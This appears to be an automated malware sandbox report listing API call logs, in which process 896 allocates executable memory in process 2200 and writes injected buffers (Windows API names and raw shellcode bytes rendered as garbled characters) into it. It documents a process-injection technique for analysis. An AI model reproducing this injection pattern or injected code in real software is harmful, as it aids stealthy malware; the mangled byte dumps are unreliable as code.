NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00120000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000d0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000f0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00100000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00180000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x001d0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x001e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x001f0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00200000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00210000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00220000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00270000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00280000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00290000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002a0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002b0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002c0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002d0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x002f0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00300000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00310000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00320000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00330000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00340000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00350000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00360000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00370000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00380000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00390000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003a0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003b0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00430000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00440000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00450000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00460000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00470000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00480000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00490000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004a0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004b0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004c0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0
NtAllocateVirtualMemory Oct. 7, 2021, 5:35 p.m.	process_identifier: 2200 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004d0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000578	1	0	0

Potential code injection by writing to the memory of another process (50 out of 1111 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 896 injected into non-child 2200
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: hÿhÿ×I¤vÕ³wKERNEL32.dllÿ,ûeLúe¾tós \|úeÉós ý~`úelaósQyós) ý~\|úe:ós6;ùsûemØôsÔúeÔúeÿÿÿÿ@ûe,ûeB?ÿ$ûe,%äúeÔ1@Ø1@ûeýGHPûeF base_address: 0x000b0000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: GetLocaleInfoA base_address: 0x00110000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: KERNEL32.dll base_address: 0x00010000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: Õ³w"¤vE¤v base_address: 0x00020000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: UìÄìVWEð}ì¥¥¥¥¥ÿuøÿUôÿuüPÿUðPÿUì_^å]ÂÀUìÄàSVWùUüØu3ÀEøhPh,PèÿÿPèÿÿEèh<Ph,PèíÿÿPèïÿÿEähLPh,PèÕÿÿPè×ÿÿEàþu}ðëÎ×ÃèGüÿÿEðUüÃè¢ûÿÿEìjjMàº$OÃè`üÿÿØÛtjÿSèVÿÿEôPSèDÿÿEôEøEø_^[å]ÂGetModuleHandleAkernel32.dllGetProcAddressExitThreadUìÄìSEüEüEøE@ü¤EôëUEø@èÑèEìEøÀEðUìJÒr0BEðföÅðtE@ô]øfáÿ·ÉÁMIøEðJuÑEðEøEø+Eü;Eôr [å]Ã base_address: 0x00120000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: CreateToolhelp32Snapshot base_address: 0x000d0000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: KERNEL32.dll base_address: 0x000e0000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: Õ³w"¤vE¤v base_address: 0x000f0000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: UìÄìVWEð}ì¥¥¥¥¥ÿuøÿUôÿuüPÿUðPÿUì_^å]ÂÀUìÄàSVWùUüØu3ÀEøhPh,PèÿÿPèÿÿEèh<Ph,PèíÿÿPèïÿÿEähLPh,PèÕÿÿPè×ÿÿEàþu}ðëÎ×ÃèGüÿÿEðUüÃè¢ûÿÿEìjjMàº$OÃè`üÿÿØÛtjÿSèVÿÿEôPSèDÿÿEôEøEø_^[å]ÂGetModuleHandleAkernel32.dllGetProcAddressExitThreadUìÄìSEüEüEøE@ü¤EôëUEø@èÑèEìEøÀEðUìJÒr0BEðföÅðtE@ô]øfáÿ·ÉÁMIøEðJuÑEðEøEø+Eü;Eôr [å]Ã base_address: 0x00100000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: OpenMutexA base_address: 0x00180000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: KERNEL32.dll base_address: 0x001d0000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: Õ³w"¤vE¤v base_address: 0x001e0000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: UìÄìVWEð}ì¥¥¥¥¥ÿuøÿUôÿuüPÿUðPÿUì_^å]ÂÀUìÄàSVWùUüØu3ÀEøhPh,PèÿÿPèÿÿEèh<Ph,PèíÿÿPèïÿÿEähLPh,PèÕÿÿPè×ÿÿEàþu}ðëÎ×ÃèGüÿÿEðUüÃè¢ûÿÿEìjjMàº$OÃè`üÿÿØÛtjÿSèVÿÿEôPSèDÿÿEôEøEø_^[å]ÂGetModuleHandleAkernel32.dllGetProcAddressExitThreadUìÄìSEüEüEøE@ü¤EôëUEø@èÑèEìEøÀEðUìJÒr0BEðföÅðtE@ô]øfáÿ·ÉÁMIøEðJuÑEðEøEø+Eü;Eôr [å]Ã base_address: 0x001f0000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: Process32NextW base_address: 0x00200000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: KERNEL32.dll base_address: 0x00210000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: Õ³w"¤vE¤v! base_address: 0x00220000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: UìÄìVWEð}ì¥¥¥¥¥ÿuøÿUôÿuüPÿUðPÿUì_^å]ÂÀUìÄàSVWùUüØu3ÀEøhPh,PèÿÿPèÿÿEèh<Ph,PèíÿÿPèïÿÿEähLPh,PèÕÿÿPè×ÿÿEàþu}ðëÎ×ÃèGüÿÿEðUüÃè¢ûÿÿEìjjMàº$OÃè`üÿÿØÛtjÿSèVÿÿEôPSèDÿÿEôEøEø_^[å]ÂGetModuleHandleAkernel32.dllGetProcAddressExitThreadUìÄìSEüEüEøE@ü¤EôëUEø@èÑèEìEøÀEðUìJÒr0BEðföÅðtE@ô]øfáÿ·ÉÁMIøEðJuÑEðEøEø+Eü;Eôr [å]Ã base_address: 0x00270000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: LoadLibraryA base_address: 0x00280000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: KERNEL32.dll base_address: 0x00290000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: Õ³w"¤vE¤v)( base_address: 0x002a0000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: UìÄìVWEð}ì¥¥¥¥¥ÿuøÿUôÿuüPÿUðPÿUì_^å]ÂÀUìÄàSVWùUüØu3ÀEøhPh,PèÿÿPèÿÿEèh<Ph,PèíÿÿPèïÿÿEähLPh,PèÕÿÿPè×ÿÿEàþu}ðëÎ×ÃèGüÿÿEðUüÃè¢ûÿÿEìjjMàº$OÃè`üÿÿØÛtjÿSèVÿÿEôPSèDÿÿEôEøEø_^[å]ÂGetModuleHandleAkernel32.dllGetProcAddressExitThreadUìÄìSEüEüEøE@ü¤EôëUEø@èÑèEìEøÀEðUìJÒr0BEðföÅðtE@ô]øfáÿ·ÉÁMIøEðJuÑEðEøEø+Eü;Eôr [å]Ã base_address: 0x002b0000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: Process32FirstW base_address: 0x002c0000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: KERNEL32.dll base_address: 0x002d0000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: Õ³w"¤vE¤v-, base_address: 0x002e0000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: UìÄìVWEð}ì¥¥¥¥¥ÿuøÿUôÿuüPÿUðPÿUì_^å]ÂÀUìÄàSVWùUüØu3ÀEøhPh,PèÿÿPèÿÿEèh<Ph,PèíÿÿPèïÿÿEähLPh,PèÕÿÿPè×ÿÿEàþu}ðëÎ×ÃèGüÿÿEðUüÃè¢ûÿÿEìjjMàº$OÃè`üÿÿØÛtjÿSèVÿÿEôPSèDÿÿEôEøEø_^[å]ÂGetModuleHandleAkernel32.dllGetProcAddressExitThreadUìÄìSEüEüEøE@ü¤EôëUEø@èÑèEìEøÀEðUìJÒr0BEðföÅðtE@ô]øfáÿ·ÉÁMIøEðJuÑEðEøEø+Eü;Eôr [å]Ã base_address: 0x002f0000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: GetProcAddress base_address: 0x00300000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: KERNEL32.dll base_address: 0x00310000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: Õ³w"¤vE¤v10 base_address: 0x00320000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: UìÄìVWEð}ì¥¥¥¥¥ÿuøÿUôÿuüPÿUðPÿUì_^å]ÂÀUìÄàSVWùUüØu3ÀEøhPh,PèÿÿPèÿÿEèh<Ph,PèíÿÿPèïÿÿEähLPh,PèÕÿÿPè×ÿÿEàþu}ðëÎ×ÃèGüÿÿEðUüÃè¢ûÿÿEìjjMàº$OÃè`üÿÿØÛtjÿSèVÿÿEôPSèDÿÿEôEøEø_^[å]ÂGetModuleHandleAkernel32.dllGetProcAddressExitThreadUìÄìSEüEüEøE@ü¤EôëUEø@èÑèEìEøÀEðUìJÒr0BEðföÅðtE@ô]øfáÿ·ÉÁMIøEðJuÑEðEøEø+Eü;Eôr [å]Ã base_address: 0x00330000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: VirtualProtect base_address: 0x00340000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: KERNEL32.dll base_address: 0x00350000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: Õ³w"¤vE¤v54 base_address: 0x00360000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: UìÄìVWEð}ì¥¥¥¥¥ÿuøÿUôÿuüPÿUðPÿUì_^å]ÂÀUìÄàSVWùUüØu3ÀEøhPh,PèÿÿPèÿÿEèh<Ph,PèíÿÿPèïÿÿEähLPh,PèÕÿÿPè×ÿÿEàþu}ðëÎ×ÃèGüÿÿEðUüÃè¢ûÿÿEìjjMàº$OÃè`üÿÿØÛtjÿSèVÿÿEôPSèDÿÿEôEøEø_^[å]ÂGetModuleHandleAkernel32.dllGetProcAddressExitThreadUìÄìSEüEüEøE@ü¤EôëUEø@èÑèEìEøÀEðUìJÒr0BEðföÅðtE@ô]øfáÿ·ÉÁMIøEðJuÑEðEøEø+Eü;Eôr [å]Ã base_address: 0x00370000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: SetLastError base_address: 0x00380000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: KERNEL32.dll base_address: 0x00390000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: Õ³w"¤vE¤v98 base_address: 0x003a0000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: UìÄìVWEð}ì¥¥¥¥¥ÿuøÿUôÿuüPÿUðPÿUì_^å]ÂÀUìÄàSVWùUüØu3ÀEøhPh,PèÿÿPèÿÿEèh<Ph,PèíÿÿPèïÿÿEähLPh,PèÕÿÿPè×ÿÿEàþu}ðëÎ×ÃèGüÿÿEðUüÃè¢ûÿÿEìjjMàº$OÃè`üÿÿØÛtjÿSèVÿÿEôPSèDÿÿEôEøEø_^[å]ÂGetModuleHandleAkernel32.dllGetProcAddressExitThreadUìÄìSEüEüEøE@ü¤EôëUEø@èÑèEìEøÀEðUìJÒr0BEðföÅðtE@ô]øfáÿ·ÉÁMIøEðJuÑEðEøEø+Eü;Eôr [å]Ã base_address: 0x003b0000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: VirtualFree base_address: 0x00430000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: KERNEL32.dll base_address: 0x00440000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: Õ³w"¤vE¤vDC base_address: 0x00450000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: UìÄìVWEð}ì¥¥¥¥¥ÿuøÿUôÿuüPÿUðPÿUì_^å]ÂÀUìÄàSVWùUüØu3ÀEøhPh,PèÿÿPèÿÿEèh<Ph,PèíÿÿPèïÿÿEähLPh,PèÕÿÿPè×ÿÿEàþu}ðëÎ×ÃèGüÿÿEðUüÃè¢ûÿÿEìjjMàº$OÃè`üÿÿØÛtjÿSèVÿÿEôPSèDÿÿEôEøEø_^[å]ÂGetModuleHandleAkernel32.dllGetProcAddressExitThreadUìÄìSEüEüEøE@ü¤EôëUEø@èÑèEìEøÀEðUìJÒr0BEðföÅðtE@ô]øfáÿ·ÉÁMIøEðJuÑEðEøEø+Eü;Eôr [å]Ã base_address: 0x00460000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: VirtualAlloc base_address: 0x00470000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: KERNEL32.dll base_address: 0x00480000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
